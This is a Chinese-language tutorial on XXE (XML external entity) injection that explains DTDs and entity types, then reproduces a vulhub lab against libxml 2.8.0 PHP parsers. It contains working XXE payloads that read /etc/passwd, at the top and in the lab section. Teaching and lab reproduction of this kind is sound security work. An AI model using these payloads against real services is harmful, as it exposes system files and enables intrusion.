赞
踩
一、xxe利用部分
<?xml version="1.0" encoding="utf-8"?> ————> xml声明 <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> ————> DTD部分 <user> <name>&xxe;</name> </user> ————> xml部分
我们主要利用DTD中的实体部分
1、什么是DTD呢?
文档定义类型(DTD)1、定义元素(对应下xml中的标签) 2、定义实体(对应xml中内容)
note.dtd中包含了标签note(根元素)、to、from等
2、两种外部文档说明(DTD)
1、 当引用的DTD文件是本地文件的时候,用SYSTEM标识,并写上”DTD的文件路径”,如下:
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
2、 如果引用的DTD文件是一个公共文件时,采用PUBLIC标识,如下:
<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文件的URL">
3、四种实体声明
1. 内部实体声明
<!ENTITY 实体名称 "实体的值">
<!DOCTYPE foo
[ <!ELEMENT foo ANY > <!ENTITY xxe "Thinking">]>
<foo>&xxe;</foo>
2. 外部实体声明
<!ENTITY 实体名称 SYSTEM "URI/URL">
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE copyright [ <!ENTITY test SYSTEM "http://www.runoob.com/entities.dtd">]> <reset> <login>&test;</login> <secret>login</secret> </reset>
上述两种均为引用实体,主要在XML文档中被应用,引用方式:&实体名称; 末尾要带上分号,这个引用将直接转变成实体内容。
3. 参数实体声明
<!ENTITY % 实体名称 "实体的值">
<!ENTITY % 实体名称 SYSTEM "URI/URL">
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [ <!ENTITY % body SYSTEM "http://www.runoob.com/entities.dtd" > <!ENTITY xxe "%body;"> ]>
<reset>
<secret>login</secret>
</reset>
参数实体,被DTD文件自身使用 ,引用方式为:%实体名称。和通用实体一样,参数实体也可以外部引用。
允许包含外部实体,就可能存在XXE 攻击。
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:
4. 公共实体声明
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
上述如果我们可以将恶意代码放入自定实体中(entities.dtd)
二、复现vulhub中xxe漏洞
查看libxml版本为2.8.0
Web目录为./www
,其中包含4个文件:
$ tree . . ├── dom.php # 示例:使用DOMDocument解析body ├── index.php ├── SimpleXMLElement.php # 示例:使用SimpleXMLElement类解析body └── simplexml_load_string.php # 示例:使用simplexml_load_string函数解析body
dom.php
、SimpleXMLElement.php
、simplexml_load_string.php
均可触发XXE漏洞,具体输出点请阅读这三个文件的代码。
利用payload
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE xxe [
- <!ELEMENT name ANY >
- <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
- <root>
- <name>&xxe;</name>
- </root>
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。